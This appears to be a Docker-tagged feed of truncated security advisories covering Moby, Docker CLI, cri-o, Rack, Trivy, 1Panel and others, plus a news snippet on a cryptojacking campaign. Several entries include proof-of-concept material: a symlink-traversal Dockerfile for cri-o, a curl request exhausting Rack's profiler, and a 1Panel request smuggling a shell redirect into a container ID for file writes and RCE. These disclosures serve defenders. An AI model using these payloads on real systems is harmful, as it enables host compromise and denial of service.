#docker

### Impact In the OCI Distribution Specification version 1.0.0 and prior and in the OCI Image Specification version 1.0.1 and prior, manifest and index documents are ambiguous without an accompanying Content-Type HTTP header. Versions of Moby (Docker Engine) prior to 20.10.11 treat the Content-Type header as trusted and deserialize the document according to that header. If the Content-Type header changed between pulls of the same ambiguous document (with the same digest), the document may be interpreted differently, meaning that the digest alone is insufficient to unambiguously identify the content of the image. ### Patches This issue has been fixed in Moby (Docker Engine) 20.10.11. Image pulls for manifests that contain a “manifests” field or indices which contain a “layers” field are rejected. ### Workarounds Ensure you only pull images from trusted sources. ### References https://github.com/opencontainers/distribution-spec/security/advisories/GHSA-mc8v-mgrf-8f4m https://github...

## Impact A bug was found in the Docker CLI where running `docker login my-private-registry.example.com` with a misconfigured configuration file (typically `~/.docker/config.json`) listing a `credsStore` or `credHelpers` that could not be executed would result in any provided credentials being sent to `registry-1.docker.io` rather than the intended private registry. ## Patches This bug has been fixed in Docker CLI 20.10.9. Users should update to this version as soon as possible. ## Workarounds Ensure that any configured `credsStore` or `credHelpers` entries in the configuration file reference an installed credential helper that is executable and on the `PATH`. ## For more information If you have any questions or comments about this advisory: * [Open an issue](https://github.com/docker/cli/issues/new/choose) * Email us at security@docker.com if you think you’ve found a security bug

## Impact A bug was found in Moby (Docker Engine) where attempting to copy files using `docker cp` into a specially-crafted container can result in Unix file permission changes for existing files in the host’s filesystem, widening access to others. This bug does not directly allow files to be read, modified, or executed without an additional cooperating process. ## Patches This bug has been fixed in Moby (Docker Engine) 20.10.9. Users should update to this version as soon as possible. Running containers do not need to be restarted. ## Workarounds Ensure you only run trusted containers. ## Credits The Moby project would like to thank Lei Wang and Ruizhi Xiao for responsibly disclosing this issue in accordance with the [Moby security policy](https://github.com/moby/moby/blob/master/SECURITY.md). ## For more information If you have any questions or comments about this advisory: * [Open an issue](https://github.com/moby/moby/issues/new) * Email us at  security@docker.com  if you th...

Kiuwan SAST versions prior to 2.8.2402.3, Kiuwan Local Analyzer versions prior to master.1808.p685.q13371, and Kiuwan SaaS versions prior to 2024-02-05 suffer from XML external entity injection, cross site scripting, insecure direct object reference, and various other vulnerabilities.

A vulnerability in zenml-io/zenml version 0.56.3 allows attackers to reuse old session credentials or session IDs due to insufficient session expiration. Specifically, the session does not expire after a password change, enabling an attacker to maintain access to a compromised account without the victim's ability to revoke this access. This issue was observed in a self-hosted ZenML deployment via Docker, where after changing the password from one browser, the session remained active and usable in another browser without requiring re-authentication.

The threat actor known as Commando Cat has been linked to an ongoing cryptojacking attack campaign that leverages poorly secured Docker instances to deploy cryptocurrency miners for financial gain. "The attackers used the cmd.cat/chattr docker image container that retrieves the payload from their own command-and-control (C&C) infrastructure," Trend Micro researchers Sunil Bharti and Shubham

### Impact A malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host. A workload built from this Dockerfile: ``` FROM docker.io/library/busybox as source RUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc FROM scratch COPY --from=source /bin /bin COPY --from=source /lib /lib COPY --from=source /extra . ``` and this container config: ``` { "metadata": { "name": "busybox" }, "image":{ "image": "localhost/test" }, "command": [ "/bin/true" ], "linux": { } } ``` and this sandbox config ``` { "metadata": { "name": "test-sandbox", "namespace": "default", "attempt": 1, "uid": "edishd83djaideaduwk28bcsb" }, "linux": { "security_context": { "namespace_options": { "network": 2 } } } } ``` will create a file on host `/host/mtab` ### Patches 1.30.1, 1.29.5, 1.28.7 ### Workarounds Unfortunately not ### References _A...

### Summary The next ruby code is vulnerable to denial of service due to the fact that the user controlled data `profiler_runs` was not contrained to any limitation. Which would lead to allocating resources on the server side with no limitation (CWE-770). ```ruby runs = (request.params['profiler_runs'] || @times).to_i result = @profile.profile do runs.times { @app.call(env) } end ``` An exploit as such `curl --fail "http://127.0.0.1:9292/?profiler_runs=9999999999&profile=process_time"` may cause resource exhaution by a remotely controlled value. ### PoC Herein the `config.ru` file: ```ruby require 'rack' require 'rack/contrib' use Rack::Profiler # if ENV['RACK_ENV'] == 'development' # Define a Rack application app = lambda do |env| # Your application logic goes here [200, {}, ["Hello World"]] end # Run the Rack application run app ``` A Dockerfile: ```Dockerfile # Use the official Ruby image as a base FROM ruby:latest # Set the working...

## Impact If a malicious actor is able to trigger Trivy to scan container images from a crafted malicious registry, it could result in the leakage of credentials for legitimate registries such as AWS Elastic Container Registry (ECR), Google Cloud Artifact/Container Registry, or Azure Container Registry (ACR). These tokens can then be used to push/pull images from those registries to which the identity/user running Trivy has access. Taking AWS as an example, the leakage only occurs when Trivy is able to transparently obtain registry credentials from the default [credential provider chain](https://aws.github.io/aws-sdk-go-v2/docs/configuring-sdk/#specifying-credentials). You are affected if Trivy is executed in any of the following situations: - The environment variables contain static AWS credentials (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) that have access to ECR. - Within a Pod running on an EKS cluster that has been assigned a role with access to ECR using an [...

### Summary There are many command injections in the project, and some of them are not well filtered, leading to arbitrary file writes, and ultimately leading to RCEs. We can use the following mirror configuration write symbol `>` to achieve arbitrary file writing ### PoC Dockerfile ``` FROM bash:latest COPY echo.sh /usr/local/bin/echo.sh RUN chmod +x /usr/local/bin/echo.sh CMD ["echo.sh"] ``` echo.sh ``` #!/usr/local/bin/bash echo "Hello, World!" ``` Build this image like this, upload it to dockerhub, and then 1panel pulls the image to build the container Send the following packet, taking care to change the containerID to the malicious container we constructed ``` GET /api/v1/containers/search/log?container=6e6308cb8e4734856189b65b3ce2d13a69e87d2717898d120dac23b13b6f1377%3E%2Ftmp%2F1&since=all&tail=100&follow=true HTTP/1.1 Host: xxxx:42713 Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, li...